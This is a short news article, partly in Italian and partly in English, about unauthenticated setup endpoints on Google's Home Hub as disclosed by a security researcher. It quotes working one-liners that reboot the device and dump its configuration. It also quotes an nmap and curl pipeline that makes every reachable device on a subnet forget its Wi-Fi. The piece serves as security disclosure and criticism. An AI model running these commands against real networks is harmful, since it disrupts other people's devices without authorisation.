Google Home Hub non è sicuro

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

I am not an IOT security expert, but I am pretty sure an unauthenticated curl statement should not be able to reboot the @madebygoogle home hub. pic.twitter.com/gCWFm5Ofyb

— Jerry Gamblin (@JGamblin) October 27, 2018

​Altri one-liner espongono ulteriori dati, incluso un certo numero di micro servizi:

$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}

Infine, questa linea fa sì che tutti i dispositivi sulla rete dimentichino il loro Wi-Fi, costringendo a rientrare nel processo di configurazione.

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

As Gamblin notes, these holes aren't showstoppers but they are very alarming. Allowing unauthenticated access to these services is lazy at best and dangerous at worst. He also notes that these endpoints have been open for years on various Google devices, which means this is a regular part of the code base and not considered an exploit by Google.

Again, nothing here is mission critical – no Home Hub will ever save my life – but it would be nice to know that devices based on the platform have some modicum of security, even in the form of authentication or obfuscation. Today we can reboot Grandpa's overcomplicated picture frame with a single line of code but tomorrow we may be able to reboot Grandpa's oxygen concentrator.

Rimani aggiornato seguici su Telegram